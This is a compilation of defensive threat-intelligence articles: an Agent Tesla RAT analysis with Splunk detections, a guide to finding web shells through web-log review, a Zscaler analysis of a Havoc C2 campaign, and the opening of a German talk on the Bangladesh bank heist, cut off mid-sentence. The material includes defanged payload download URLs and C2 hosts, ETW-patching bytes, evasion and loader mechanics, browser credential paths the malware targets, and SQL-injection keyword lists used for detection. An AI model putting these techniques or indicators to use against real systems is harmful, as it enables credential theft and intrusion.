# Inside the Mind of a ‘Rat’ - Agent Tesla Detection and Analysis Agent Tesla is a remote access trojan (RAT) written for the .NET framework that has knowingly been in operation since 2014. Threat actors behind this malware have leveraged many different methods to deliver their payload over time including macro enabled Word documents, Microsoft Office vulnerabilities, OLE objects and most recently, compiled HTML help files. Agent Tesla has been in the top 10 most submitted samples in known open malware source repositories in cyber security communities like Malware Bazaar and Any.run. It is a full-featured RAT with multiple ways to exfiltrate organization data through keylogging, screen captures, credential stealing and much more. In this blog post, the Splunk Threat Research Team (STRT) describes the different tactics, techniques and procedures mapped to the ATT&CK framework leveraged by this remote access trojan. Additionally, we will highlight the detection analytics we released that can help cyber defenders in identifying signs of compromise. ## Analysis ### Identification of Samples For this analysis, the STRT started the journey with a sample uploaded by JAMESWT_MHT on August 31st to Malware Bazaar. This sample led us to the “ftp-boloni-ma” tag that compiles several samples of a campaign leveraging the Agent Tesla malware. Specifically, this campaign used a malicious compiled HTML (.CHM) file as a delivery method to drop and execute its first and second stages and load the remote access trojan. High level flow of process execution for this sample is shown on Figure 1. Security teams that would like to understand how the execution of compiled HTML files looks like against their prevention or detection controls, we recommend having a look at the AtomicTestHarness for CHM and the Atomic Red Team technique T1218.001 built by the Red Canary team. ### T1566.001 - Spear Phishing Attachment This Agent Tesla variant uses a compiled HTML file (.chm) to conceal its malicious code and gain an initial foothold on the victim endpoint. The file has an embedded and obfuscated JavaScript script that invokes PowerShell to download a second stage. Once executed, it will invoke PowerShell.exe to download extra content from the Internet using the System.Net WebClient class and the DownloadString method. ### The Loader #### T1059.001 - Command and Scripting Interpreter: PowerShell The downloaded file, disguised as a text .txt file, is in reality a PowerShell script. This obfuscated second stage script is the one responsible for loading the actual Agent Tesla malware in memory. The variable named $TzbW contains a string that when deobfuscated, implements the tMCfkSD function. This function will in turn deobfuscate and decompress the array of bytes stored in the variable named $zmOo. This deobfuscated and decompressed version is the actual .NET assembly Agent Tesla malware that will be executed in memory using PowerShell reflection. This loader will deobfuscate and load the Agent Tesla malware in memory stream using .NET Reflection. This part of its execution can be considered as fileless malware since it doesn't drop the Agent Tesla malware on the disk but executes it in memory stream. ### Agent Tesla Analysis #### Packer/Obfuscator The Agent Tesla sample extracted in the second stage component is a .NET compiled binary obfuscated with the opensource Obfuscar .NET obfuscator. Using the DIE tool we can identify the obfuscation method and the compilation type of this file. Adversaries will pack or obfuscate their payloads in hope that it evades critical controls like mail gateways, sandboxes and anti-virus software. ### Discovery - TA0007 #### T1033 - System Owner/User Discovery On every check in to the command and control server (via the FTP, HTTP or SMTP protocols), this Agent Tesla sample parses and submits the user name, computer name, operating system version and total physical memory of the compromised endpoint. ### Execution - TA0002 #### T1204.002 - Malicious File This particular Agent Tesla sample includes the ability to download a remote file from one of its C2 servers and save it to the hardcoded path “%temp%\LUU”. The final step of the function will also execute the downloaded file. Unfortunately, the URL was inaccessible as of writing. ### Persistence - TA0003 #### T1547.001 - Registry Run / Startup Folder If enabled, Agent Tesla has two built-in persistence mechanisms to be able to load itself upon boot. It is either by dropping a copy of itself in the %startup folder% or by adding registry run keys. ### Credential Access - TA0006 Agent Tesla implements several techniques to collect sensitive information on the compromised endpoint. #### T1555.003 - Credentials from Web Browsers The first technique is parsing credentials or sensitive browser data. Agent Tesla includes a list of targeted browsers to parse the login credentials, browser cookies, browser profiles and grab browser .sqlite database files. **Targeted Browsers:** - "Firefox", "%APPDATA%\Mozilla\Firefox\" - "IceCat", "%APPDATA%\Mozilla\icecat\" - "PaleMoon", "%APPDATA%\Moonchild Productions\Pale Moon\" - "SeaMonkey", "%APPDATA%\Mozilla\SeaMonkey\" - "Flock", "%APPDATA%\Flock\Browser\" - "K-Meleon", "%APPDATA%\K-Meleon\" - "Postbox", "%APPDATA%\Postbox\" - "Thunderbird", "%APPDATA%\Thunderbird\" - "IceDragon", "%APPDATA%\Comodo\IceDragon\" - "WaterFox", "%APPDATA%\Waterfox\" - "BlackHawk", "%APPDATA%\NETGATE Technologies\BlackHawk\" - "CyberFox", "%APPDATA%\8pecxstudios\Cyberfox\" - "Opera Browser", "%APPDATA%\Opera Software\Opera Stable" - "Yandex Browser", "%APPDATA%\Yandex\YandexBrowser\User Data" - "Iridium Browser", "%APPDATA%\Iridium\User Data" - "Chromium", "%APPDATA%\Chromium\User Data" - "7Star", "%APPDATA%\7Star\7Star\User Data" - "Torch Browser", "%APPDATA%\Torch\User Data" - "Cool Novo", "%APPDATA%\MapleStudio\ChromePlus\User Data" - "Kometa", "%APPDATA%\Kometa\User Data" - "Amigo", "%APPDATA%\Amigo\User Data" - "Brave", "%APPDATA%\BraveSoftware\Brave-Browser\User Data" - "CentBrowser", "%APPDATA%\CentBrowser\User Data" - "Chedot", "%APPDATA%\Chedot\User Data" - "Orbitum", "%APPDATA%\Orbitum\User Data" - "Sputnik", "%APPDATA%\Sputnik\Sputnik\User Data" - "Comodo Dragon", "%APPDATA%\Comodo\Dragon\User Data" - "Vivaldi", "%APPDATA%\Vivaldi\User Data" - "Citrio", "%APPDATA%\CatalinaGroup\Citrio\User Data" - "360 Browser", "%APPDATA%\360Chrome\Chrome\User Data" - "Uran", "%APPDATA%\uCozMedia\Uran\User Data" - "Liebao Browser", "%APPDATA%\liebao\User Data" - "Elements Browser", "%APPDATA%\Elements Browser\User Data" - "Epic Privacy", "%APPDATA%\Epic Privacy Browser\User Data" - "Coccoc", "%APPDATA%\CocCoc\Browser\User Data" - "Sleipnir 6", "%APPDATA%\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer" - "Opera", "%APPDATA%\Opera Software\Opera Stable" - "Chrome", "%APPDATA%\Google\Chrome\User Data" - "Yandex", "%APPDATA%\Yandex\YandexBrowser\User Data" - "SRWare Iron", "%APPDATA%\Chromium\User Data" - "Torch Browser", "%APPDATA%\Torch\User Data" - "Brave Browser", "%APPDATA%\BraveSoftware\Brave-Browser\User Data" - "CoolNovo", "%APPDATA%\MapleStudio\ChromePlus\User Data" - "7Star", "%APPDATA%\7Star\7Star\User Data" - "Epic Privacy Browser", "%APPDATA%\Epic Privacy Browser\User Data" - "Amigo", "%APPDATA%\Amigo\User Data" - "CentBrowser", "%APPDATA%\CentBrowser\User Data" - "CocCoc", "%APPDATA%\CocCoc\Browser\User Data" - "Chedot", "%APPDATA%\Chedot\User Data" - "Elements Browser", "%APPDATA%\Elements Browser\User Data" - "Kometa", "%APPDATA%\Kometa\User Data" - "Citrio", "%APPDATA%\CatalinaGroup\Citrio\User Data" - "Coowon", "%APPDATA%\Coowon\Coowon\User Data" - "Liebao Browser", "%APPDATA%\liebao\User Data" - "QIP Surf", "%APPDATA%\QIP Surf\User Data" - "QQ Browser", "%APPDATA%\Tencent\QQBrowser\User Data" - "UC Browser", "%APPDATA%\UCBrowser\" - "Orbitum", "%APPDATA%\Orbitum\User Data" - "Sputnik", "%APPDATA%\Sputnik\User Data" - "uCozMedia", "%APPDATA%\uCozMedia\Uran\User Data" - "Vivaldi", "%APPDATA%\Vivaldi\User Data" - "QIP Surf", "%APPDATA%\QIP Surf\User Data" - "Coowon", "%APPDATA%\Coowon\Coowon\User Data" #### T1555.005 - Password Managers Aside from stealing browser secrets, it also attempts to steal passwords from commonly used applications like OpenVpn, FileZilla and Mailbird. It accomplishes this by reading registry entries, decrypting/decoding or parsing local databases or by reading configuration files. **Targeted Applications:** - OPEN VPN - CYBERFOX - THUNDERBIRD - FILEZILLA - FLASHFXP - POC MAIL - UC BROWSERS - AEROFOX - WINSCP - POSTBOX - MYSQL WORKBENCH - BLACKHAWK - NORDVPN - OUTLOOK - FALKON - EM CLIENT - IE EDGE - FTP GETTER - APPLE KEYCHAIN - SEA MONKEY - PALE MOON - RimArts - WATERFOX - ICE DRAGON - FTP CMDER - MAILBIRD - JDOWNLOADER DB - PSI - ICECAT - FLOCK BROWSER - SMARTFTP - DOWNLOADMGR - INCREDIMAIL - OPERA - TRILLIAN - K-MELEON - PIA - QQBROWSER - COREFTPCLAWS MAIL - FTP NAVI - WS_FTP - MS CREDENTIALS - ManagerMULTI-VNC #### T1056.001 - KeyLogging This Agent Tesla sample is also capable of installing a Keylogger on the compromised host. It uses the SetWindowsHookEx Windows API to install a hook procedure that monitors low-level keyboard input events. ### Command And Control - TA0011 #### T1090.003 - TOR Proxy Agent Tesla also uses TOR proxy for its HTTP requests. It tries to download a TOR application on a specific TOR website. ### Collection - TA0009 #### T1113 - Screen Capture Agent Tesla software captures the desktop screenshot of the compromised machine and it will be saved in the memory stream and later sent to its C2 server. ### Exfiltration - TA0010 #### T1041 - Exfiltration Over C2 Channel During analysis of this Agent Tesla sample it was identified to have 3 ways to exfiltrate stolen sensitive information of the compromised host. The exfiltrated data may be either sent via FTP, SMTP and HTTP command and control server. The remote C2 server was down during the analysis of this sample. STRT experimented with its SMTP communication to be able to see how the exfiltrated data looks like on the attacker side. We used a fake SMTP server by rnwood (smtp4dev) to forward all the exfiltrated data of this sample. ### Attacker Perspective #### Data Exfiltration This .zip file contains the collected browser data, which in our case is the cookie.sqlite file. In addition, it includes the basic system information which is the UserName, ComputerName, OSFullName, CPU and RAM. Lastly, the malware checks if the log.tmp (keylog file) in %temp% exists; if not, it will directly send the keystroke that keylogs in its C2, in this case via SMTP. ### Detections Below is the table list for detections that the STRT developed to identify possible Agent Tesla behavior and malicious .chm behavior. | Type | Name | Technique | Tactic | Description | |-----------|-------------------------------|-----------|---------|-------------| | TTP | Detect Html Help Spawn Child | T1218.001 | Defense | The following analytic identifies hh.exe (HTML Help) execution of a Compiled HTML Help (CHM) that spawns a child process. | | Anomaly | Excessive Usage Of Taskkill | T1562.001 | Defense | This analytic identifies excessive usage of taskkill.exe application. | | TTP | Executables Or Script Creation In Suspicious Path | T1036 | Defense | This analytic will identify suspicious executable or scripts (known file extensions) in a list of suspicious file paths in Windows. | | Anomaly | Non Chrome Process Accessing Chrome Default Dir | T1555.003 | Credential Access | This search is to detect an anomaly event of a non-chrome process accessing the files in chrome user default folder. | | Anomaly | Non Firefox Process Accessing Firefox Profile Dir | T1555.003 | Credential Access | This search is to detect an anomaly event of a non-firefox process accessing the files in the profile folder. | | TTP | Office Application Drop Executable | T1566.001 | Initial Access | This search is to detect a suspicious MS office application that drops or creates executables or scripts in a Windows Operating System. | | TTP | Office Application Spawn Rundll32 Process | T1566.001 | Initial Access | This detection was designed to identify suspicious spawned processes of known MS office applications due to macro or malicious code. | | TTP | Office Document Executing Macro Code | T1566.001 | Initial Access | This detection was designed to identify suspicious office documents that using macro code. | | Hunting | Powershell Connect To Internet With Hidden Window | T1059 | Execution | The following hunting analytic identifies PowerShell commands utilizing the WindowStyle parameter to hide the window on the compromised endpoint. | | TTP | Scheduled Task Deleted Or Created Via Cmd | T1053.005 | Execution, Persistence, Privilege Escalation | The following analytic identifies the creation or deletion of a scheduled task using schtasks.exe with flags - create or delete being passed on the command-line. | | TTP | Suspicious Process File Path | T1543 | Execution, Persistence, Privilege Escalation | The following analytic will detect a suspicious process running in a file path where a process is not commonly seen and is most commonly used by malicious software. | | TTP | Detect Html Help Spawn Child | T1218.001 | Defense | The following analytic identifies hh.exe (HTML Help) execution of a Compiled HTML Help (CHM) that spawns a child process. | | TTP | Registry Keys Used For Persistence (mod) | T1546.012 | Persistence, Privilege Escalation | This search looks for modifications to registry keys that can be used to elevate privileges. | | Hunting | Windows Iso Lnk File Creation (mod) | T1566.001 | Initial Access | The following analytic identifies the use of a delivered ISO file that has been mounted and the aforementioned lnk or file opened within it. | | Hunting | Windows Phishing Recent Iso Exec Registry (mod) | T1566.001 | Initial Access | The following hunting analytic identifies registry artifacts when an ISO container is opened, clicked or mounted on the Windows operating system. | | TTP | Powershell Loading Dotnet Into Memory Via Reflection (mod) | T1059.001 | Execution | The following analytic utilizes PowerShell Script Block Logging (EventCode=4104) to identify suspicious PowerShell execution. | | Hunting | Windows File Transfer Protocol In Non Common Process Path(new) | T1071.003 | Command and Control | The following analytic identifies a possible windows application having a FTP connection in a non common installation path in windows operating system. | | Anomaly | Windows Mail Protocol In Non Common Process Path (new) | T1071.003 | Command and Control | The following analytic identifies a possible windows application having a SMTP connection in a non common installation path in windows operating system. | | Anomaly | Windows Multi Hop Proxy Tor Website Query (new) | T1071.003 | Command and Control | The following analytic identifies a dns query to a known TOR proxy website. | ## Automate with SOAR Playbooks All of the previously listed detections create entries in the risk index by default, and can be used seamlessly with risk notables and the Risk Notable Playbook Pack. The community Splunk SOAR playbooks below can also be used in conjunction with some of the previously described analytics: **Playbook Descriptions:** - **Internal Host SSH Investigate:** Investigate an internal *nix host using SSH. This pushes a bash script to the endpoint and runs it, collecting generic information about the processes, user activity and network activity. This includes the process list, login history, cron jobs and open sockets. The results are zipped up in .csv files and added to the vault for an analyst to review. - **Internal Host WinRM Investigate:** Performs a general investigation on key aspects of a windows device using windows remote management. Important files related to the endpoint are generated, bundled into a zip, and copied to the container vault. - **Delete Detected Files:** This playbook acts upon events where a file has been determined to be malicious (ie webshells being dropped on an end host). Before deleting the file, we run a “more” command on the file in question to extract its contents. We then run a delete on the file in question. ## Why Should You Care? With this article, the Splunk Threat Research Team (STRT) enables security analysts, blue teamers and Splunk customers to identify the Agent Tesla tactics, techniques and procedures. By understanding its behaviors, we were able to generate telemetry and datasets to develop and test Splunk detections designed to defend and respond against this type of threats.
# Mo’ Shells Mo’ Problems – Web Server Log Analysis March 19, 2014 Chad Tilbury Research & Threat Intel Disclaimer: CrowdStrike derived this information from investigations in unclassified environments. Since we value our clients’ privacy and interests, some data has been redacted or sanitized. Web shells epitomize the hacking tenant of hiding in plain sight. In a previous post, we showed how a web shell could hide as a single file among thousands present on a web server and as a single line of code in an otherwise legitimate page on a site. The best web shells are not detected by anti-virus and can defeat vulnerability scanning applications using novel techniques like cookie and HTTP header authentication. Identifying the presence of a web shell can be difficult, but there are effective and repeatable ways to find them in your network. Today we will cover log review, concentrating on the following techniques: - SQL injection identification - Directory enumeration - Statistical web log analysis ## Get to Know Your Web Logs Good logging is a requirement for successfully detecting and mitigating network intrusions. Luckily, web servers have far better logging available by default than other servers in the enterprise. It is common to find web server logs dating back a year or more, but web logs are typically stored in text format and are particularly at risk for deletion and modification by attackers. Given their intrinsic value, organizations should aim for daily aggregation and centralized archiving of web logs. Their location can be highly dependent on the operating system and server version, but the following locations are a good place to start: - C:\inetpub\logs\LogFiles (IIS) - C:\Windows\System32\LogFiles (IIS) - /var/log/httpd/ (Apache) - /var/log/apache/ (Apache) There are three popular standards for web logging. The techniques discussed here will work for any format, but some formats provide significantly less data to analyze. Apache servers often employ the NCSA, or Common Log Format. This format tends to record less information than others do. The W3C extended log file format, commonly used by Microsoft IIS, provides the most data and is the best-case scenario from a log analysis perspective. W3C extended logs can provide additional helpful information such as the client query, time duration of the request, and user agent. You may also see the proprietary IIS log format, which provides more information than NCSA, but less than W3C extended logs. ## SQL Injection Identification As discussed in earlier posts in this series, Deep Panda is a sophisticated China-based threat group CrowdStrike has observed targeting companies in the defense, legal, telecommunication, and financial industries. Deep Panda often gains entry into an environment by exploiting vulnerabilities in poorly patched web servers or web servers running legacy or custom applications. Detecting successful SQL injection is an effective way to identify attacks early in the kill chain. Finding SQL injection attempts also provides a good starting point for discovering additional malicious activity. Here are a few things to look for to help narrow the search: - Investigate server logs that are significantly larger compared to others. SQL injection is very noisy and requires numerous connection attempts to a web server to be successful. Automated SQL injection tools are particularly noisy. This activity can create many large entries, causing the daily logs to exceed the average size. - SQL commands should be a very rare occurrence in standard web logs. Search for commands often passed during SQL injection such as ‘, %27, –, SELECT, INSERT, UNION, CREATE, DECLARE, CAST, EXEC, and DELETE (this is only a subset and should be tailored to your environment). Regular expression searching with grep or PowerShell can lead to quick wins. - Identify HTTP 500, 404, 403, and 400 status codes that occur in long successions within your logs. This will help identify enumeration and patterns typical of SQL injection attacks. - On IIS servers, look for references to “cmd.exe” and “xp_cmdshell” to identify possible privilege escalation due to successful SQL injection exploitation. Execution of these commands is often the ultimate goal of an attacker. If you find successful entries (HTTP status code 200) containing these commands, you likely have a confirmed intrusion. ## Directory Enumeration Enumerating the web server file system is a common way for an adversary to identify the type of scripting language a web server is running and what scripts can be used to further escalate privileges. Directory enumeration is a noisy technique, and one of the easiest to spot. In the example below, the IP address 60.166.3.22 enumerated an IIS web server. Shortly after these requests, we discovered a successful SQL injection attack recorded in the logs. ## Statistical Web Log Analysis There is more to web log analysis than just looking for SQL injection patterns and enumeration attacks. Web logs can stretch back for years and contain hundreds of millions of entries. To make review feasible, we often use statistical analysis to analyze web log entries in different ways. Similar to our previous post on file system stacking, the goal of statistical analysis is to identify outliers for further analysis. If you do not have an enterprise tool that can do this, Microsoft Log Parser and Log Parser Lizard are fantastic free options. Log Parser takes nearly any log format as input and allows analysis via SQL queries. In one analysis, we executed a query to collect all successful (status code 200) .asp and .aspx page requests within the log, count them, and then sort by the total number of entries. Web shells in IIS servers often take the form of .asp pages and we were looking for outliers, either in the path or in the number of hits. As you can see, system_web.aspx is immediately recognizable as an outlier based upon its path. In fact, out of ~1.5 million log entries on this server, it was the only .aspx page successfully requested outside of the /owa/ folder. Similar queries are useful for other requests such as those referencing .php, .exe, or .dll files. A second analysis example takes advantage of the W3C extended log option to track the amount of time taken by the web server to process a request. Administrators often use this field to optimize the server or find problematic and broken pages. We use it to find problematic pages of a different type. Because web shells and other malicious code often contain complicated queries and requests, they can take longer to process than an average page and tend to hang on some requests. Both scenarios cause those pages to bubble up to the top of a list like this, and here we see our Deep Panda web shell showing up in fourth place on this compromised system. Similar to other analysis techniques, there is no easy button here. You may encounter hundreds of false positives before you identify malicious activity or find your first web shell. Where possible, find an administrator or subject matter expert to assist you in determining what is normal on your servers. Web logs are a rich data source and possible queries are only limited by your imagination. As you discover novel queries that help identify evil in your environment, automate them to create daily reports for review. ## Additional Logs Web server logs are undoubtedly valuable, but do not underestimate the other log sources available on your server. System logs such as Windows event logs or Apache error logs can provide deeper insight and help pinpoint when malicious activity has occurred. As an example, the Application event log on a compromised IIS server held the event logged when a SQL injection attack successfully executed the xp_cmdshell stored procedure. Correlating the time and date of this event with the web server logs for that day allowed reconstruction of the entire attack in a short amount of time. Server logs are an invaluable resource for detecting intrusions. While the examples in this post have focused on web shell detection, it is important to note that these techniques are useful for finding just about any malicious activity on your web servers. Building a log collection and review process is one of the most important things you can do to ensure the health of your servers.
# Havoc Across the Cyberspace Zscaler ThreatLabz research team observed a new campaign targeting a government organization in which the threat actors utilized a new Command & Control (C2) framework named Havoc. While C2 frameworks are prolific, the open-source Havoc framework is an advanced post-exploitation command and control framework capable of bypassing the most current and updated version of Windows 11 defender due to the implementation of advanced evasion techniques such as indirect syscalls and sleep obfuscation. The technical analysis that follows provides an overview of a recently discovered attack campaign targeting a government organization using Havoc and reveals how it can be leveraged by the threat actors in various campaigns. ## Key Observations: - Observed new threat campaign leveraging the open-source Havoc C2 framework targeting a government organization. - Analysis of Havoc Demon - Implant generated via the Havoc framework. ### ShellCode Loader: - Disables the Event Tracing for Windows (ETW) to evade detection mechanisms. - Decrypts and executes the shellcode via CreateThreadpoolWait(). ### KaynLdr Shellcode: - Reflectively loads the Havoc’s Demon DLL without the DOS and NT headers to evade detection. - Performs API hashing routine to resolve virtual addresses of various NTAPI's by using modified DJB2 hashing algorithm. ### Demon DLL: - Parsing configuration files. - Usage of Sleep Obfuscation Techniques. - Communication with the CnC Server - CheckIn Request and Command Execution. - Performs In-Direct Syscalls and Return Address Stack Spoofing and more. Performed tracking of the threat actor based on infrastructure analysis and opsec blunders where we gathered and analyzed the screenshots of the threat actor's machine from the CnC due to self-compromise. ## Campaign: In the beginning of January this year, we discovered an executable named “pics.exe” in the Zscaler Cloud targeting a government organization. The executable was downloaded from a remote server: “146[.]190[.]48[.]229”. Let us now examine the infection chain used by the threat actors in the following campaign to deliver the Havoc Demon on the target machine. ## Infection Chain Analysis: The infection chain utilized by the threat actors for delivering the Havoc Demon on the target machines commences with a ZIP Archive named “ZeroTwo.zip” consisting of two files “character.scr” and “Untitled Document.docx”. Here the “Untitled Document.docx” is a document consisting of paragraphs regarding the “ZeroTwo,” which is a fictional character in the Japanese anime television series Darling in the Franxx. Further, the screen saver file “character.scr” is basically a downloader commissioned to download and execute the Havoc Demon Agent on the victim machine. The Downloader binary is compiled using a BAT to EXE converter “BAT2EXE” which allows users to convert Batch scripts into executables. Once executed, the BAT2EXE compiled binary loads and decrypts the Batch Script from the .rsrc section. The binary then writes and executes the decrypted BAT script from the Temp folder. The Decrypted BAT Script upon execution performs the following tasks: - Checks whether “teste.exe” exists in the Temp folder; if not, it downloads the final payload from `http[:]//146[.]190[.]48[.]229/pics.exe` and saves it as “seethe.exe” in the Temp folder via Invoke-WebRequest and then executes it using “start seethe.exe”. - Then it checks whether “testv.exe” exists in the Temp folder; if not, it downloads an image from `https[:]//i[.]pinimg[.]com/originals/d4/20/66/d42066e9f8c4b75a0723b8778c370f1d.jpg` and saves it as images.jpg in the Temp folder and opens it using images.jpg. The following image of the “Zero Two” character was downloaded from pinimg[.]com and executed in order to conceal the actual execution and malicious activities performed by the final payload. Before analyzing the final payload, let’s take a look at another similar Downloader compiled via BAT2EXE named “ihatemylife.exe,” in this case, the decrypted Batch script downloads the final payload from `https[:]//ttwweatterarartgea[.]ga/image[.]exe` using Invoke-WebRequest alongside the payload it also downloads an image to conceal the malicious activities. Now let’s analyze the final In-the-Wild “Havoc Demon” payload which was downloaded via the Downloader named “character.scr” from `http[:]//146[.]190[.]48[.]229/pics.exe`. Havoc Demon is the implant generated via the Havoc Framework - which is a modern and malleable post-exploitation command and control framework created by @C5pider. ### Shellcode Loader: The Downloaded payload “pics.exe” is the “Shellcode Loader” which is signed using Microsoft’s Digital certificate. Upon execution, the Shellcode Loader at first disables the Event Tracing for Windows (ETW) by patching the WinApi “EtwEventWrite()” which is responsible for writing an event. #### ETW Patching process: - Retrieves module handle of ntdll.dll via GetModuleHandleA. - Retrieves address of EtwEventWrite via GetProcAddress. Further, it changes the protection of the region via VirtualProtect and then overwrites the first 4 bytes of the EtwEventWrite with the following bytes: 0x48,0x33,0xc0,0xc3 (xor rax,rax | ret). By patching the EtwEventWrite function, the ETW will not be able to write any events thus disabling the ETW. Then the payload AES decrypts the shellcode using CryptDecrypt(). Once the Shellcode is decrypted, the Shellcode is executed via CreateThreadpoolWait() where at first it creates an event object in a signaled state via CreateEventA(), then allocates RWX memory via VirtualAlloc() and writes the Shellcode in the allocated memory. Further, it creates a wait object using CreateThreadpoolWait, where the first argument - callback function is set to the address of the shellcode. Then it sets the wait object via the NtApi “TpSetWait” and at last calls the WaitForSingleObject which once executed checks if the waitable object is in signaled state, as our event was created in signaled state the callback function is executed, i.e., the decrypted shellcode is executed and the control flow is transferred to the shellcode. ### KaynLdr - Shellcode The Shellcode in this case is the “KaynLdr” which is commissioned to reflectively load the Havoc’s Demon DLL implant by calling its entrypoint function. Once the Shellcode is executed, it retrieves the image base of the Demon DLL which is embedded in the shellcode itself by executing the following inline assembly function called KaynCaller. Further, the KaynLdr performs the API Hashing routine in order to resolve the virtual addresses of various NTAPI’s by walking the export address table of the ntdll.dll and initially the virtual address of the NTDLL.dll is retrieved by walking the Process Environment Block. Here the hashing algorithm used is a modified version of “DJB2” algorithm based on the constant “5381” or “0x1505”. Virtual Addresses for the following module and NTAPI’s are retrieved by using the API Hashing routine where the hardcoded DJB2 hashes are compared with the dynamically generated hash: - 0x70e61753 ntdll.dll - 0x9e456a43 LdrLoadDll - 0xf783b8ec NtAllocateVirtualMemory - 0x50e92888 NtProtectVirtualMemory Further, the Embedded Demon DLL is memory mapped and the base relocations are calculated if required in an allocated memory page procured by calling the NtAllocateVirtualMemory(). Also, the page protections are changed via multiple calls to NtProtectVirtualMemory. The Demon DLL is memory mapped in the allocated memory without the DOS and NT headers in order to evade detection mechanisms. Now once the Demon DLL is memory mapped, the KaynDllMain i.e., the entrypoint of the DLL is executed by the KaynLdr, from there on the control is transferred to the Havoc Demon DLL Implant. ## Analysis of Havoc Demon DLL: The entrypoint of the Havoc Demon DLL is executed by the KaynLdr. Now as the Havoc Demon has many features, we will only focus on a few of them in the following blog. So once the Havoc Demon is executed, there are four functions which are executed by the DemonMain(): - DemonInit - DemonMetaData - DemonConfig - DemonRoutine The DemonInit is the initialization function which: - Retrieves the virtual addresses of functions from modules such as ntdll.dll/kernel32.dll by calling the API Hashing Routine. - Retrieves Syscall stubs for various NTAPI’s. - Loads various Modules via walking the PEB with stacked strings. - Initializes Session and Config Objects such as Demon AgentID, ProcessArch, etc. Now let’s understand how the Configuration is being parsed via the DemonConfig() function. The Demon’s Configuration is stored in the .data section. ### Configuration: - Sleep: 2 (0x2) - Injection: - Allocate: Native/Syscall (0x2) - Execute: Native/Syscall (0x2) - Spawn: - x64: C:\Windows\System32\notepad.exe - x86: C:\Windows\SysWOW64\notepad.exe - Sleep Obfuscation Technique: Ekko (0x2) - Method: POST - Host: 146[.]190[.]48[.]229 - Transport Secure: TRUE - UserAgent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537/36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 The DemonRoutine() function is the main loop for the malware, it is responsible for connecting to the command and control (C2) server, waiting for tasks from the server, executing those tasks, and then waiting again for more tasks and running indefinitely. It does the following: - First, it checks if it is connected to the C2 server. If not, it calls TransportInit() to connect to the server. - If the connection is successful, it enters the CommandDispatcher() function, which is responsible for a task routine that parses the tasks and executes them until there are no more tasks in the queue. - If the malware is unable to connect to the C2 server, it will keep trying to connect to the server again. Now let’s understand how it connects to the TransportInit function: TransportInit() is responsible for connecting to the C2 server and establishing a session. It first sends the AES encrypted MetaData packet i.e., the Check-in request generated via the DemonMetaData() function through the PackageTransmit() function, which could be sending data over HTTP or SMB, depending on the value of the TRANSPORT_HTTP or TRANSPORT_SMB macro. If the transmission is successful, it then decrypts the received data using AES encryption with a given key and initialization vector on the TeamServer. The decrypted data is then checked against the agent's ID, and if they match, the session is marked as connected and the function returns true. ### Command Execution: After the demon is deployed successfully on the target’s machine, the server is able to execute various commands on the target system. If the command "whoami" is issued to the payload, it would trigger the execution of the command and display the current user running the session. The server logs the command and its response upon execution. ### List Of Commands: The specific commands available in Havoc will depend on the version and configuration of the framework, but some common commands that are often included in C2 frameworks include: - Return Address Stack Spoofing - In-Direct Syscalls - Sleep Masking Techniques: - Ekko - FOLIAGE - WaitForSingleObjectEx ## Tracking the threat actor - Infrastructure and Opsec blunders: The domain name “ttwweatterarartgea[.]ga” from where the final havoc demon payload “image.exe” is downloaded resolves to the IP Address “146[.]190[.]48[.]229” - which is the IP address from where the final payload “pics.exe” was downloaded. While performing the infrastructure analysis, we came across an open-directory on the server “ttwweatterarartgea[.]ga” where multiple demon & metasploit payloads along with internal logs and screenshots were hosted. While examining the files on the open directory, we stumbled upon a HTML file named “NFcmoOSI.html”. The file displayed a screenshot of the threat actor’s machine. Based on our analysis, the threat actor detonated the meterpreter payload on its own machine and then used the CnC Server to initiate the Metasploit screenshare command. This action generated a file named "NFcmoOSI.html" on the server which contained a screenshot of the machine being shared along with the Target IP, Start Time, and status of the screenshare. Further, we were able to gather information from the threat actor's machine screenshot where the initial payload used in our campaign was present on the TA's machine along with the Havoc Demon implant and much more. Now based on the Target IP (i.e., the threat actor's IP) the location of that IP seems to be in New York, USA. Additionally, the temperature at the time of the screenshot: 1/12/2023 7:28 PM was 50° Fahrenheit (Cloudy), after mapping the historical weather data of New York at that specific time we found that the average temperature was approximately close to 50° degrees Fahrenheit during that time period. Alongside, we came across a log file named “wget-log” which consists of the wget log where the Document lure “Untitled-document.docx” was downloaded from the DropBox URL: `https://www.dropbox.com/scl/fi/hnlvrwbl9v2zadl356mt3/Untitled-document.docx`. Also, the HTML pages “index.nginx-debian.html” and “login.nginx-debian.html” are under-development Twitter phishing pages. ## Zscaler Cloud Sandbox Report: Zscaler's multilayered cloud security platform detects indicators: - Win64.Backdoor.HavocC2 ## Conclusion: The Havoc C2 framework campaign highlights the importance of proper cybersecurity measures in today's digital world. The use of payloads and CnC servers to execute malicious commands and gather sensitive information showcases the ever-present threat of cyber attacks. The scenario described in the blog demonstrates the capabilities of such campaigns and the need for organizations to stay vigilant and protect their systems. With the rise of technology, the need for robust security solutions becomes increasingly vital, and organizations must take proactive steps to ensure the safety of their systems and data. ## Indicators Of Compromise: - **Havoc CnC:** - IP: 146[.]190[.]48[.]229 - Domain: ttwweatterarartgea[.]ga - **Hashes:** - Pics.exe - 5be4e5115cdf225871a66899b7bc5861 - Image.exe - bfa5f1d8df27248d840d1d86121f2169
# Der Cyber-Bankraub von Bangladesch Vor nunmehr 5 Jahren war die Zentralbank Bangladeshs Ziel eines Cyber-Angriffs. Die Akteure dahinter hatten vor, eine Milliarde US-Dollar zu stehlen – einer der spektakulärsten Bankraube überhaupt. Wir wissen alle, dass wir im Internet Spuren hinterlassen. Ähnlich verhält es sich mit bösartigen Akteuren, die einen Angriff durchführen. Wie beispielsweise den Angriff auf die Zentralbank von Bangladesh in 2016, einer der größten Bankraube in der Geschichte. Ich möchte anhand dieses Vorfalls beispielhaft einen kleinen Schritt im Vorgehen in der Cyber Threat Intelligence (CTI) skizzieren. Dabei geht es nämlich nicht nur um Netzwerk-Indikatoren und Virus-Signaturen, sondern darum, Angriffe zu verstehen, um sie besser abwehren zu können. CTI involviert die Bewertung von Informationen aus sehr vielen verschiedenen, sowohl offenen als auch verdeckten Quellen; sowohl mit technischen als auch mit nicht-technischen Mitteln. Die Ergebnisse solcher Analysen sollen das Erreichen verschiedener Ziele ermöglichen: Eines davon ist, die Personen hinter einem Angriff zu identifizieren, die sogenannte Attribution. In diesem Vortrag werden wir uns nur auf den technischen Analyseschritt konzentrieren: Ich werde das Open Source Tool Ghidra verwenden, um live einige 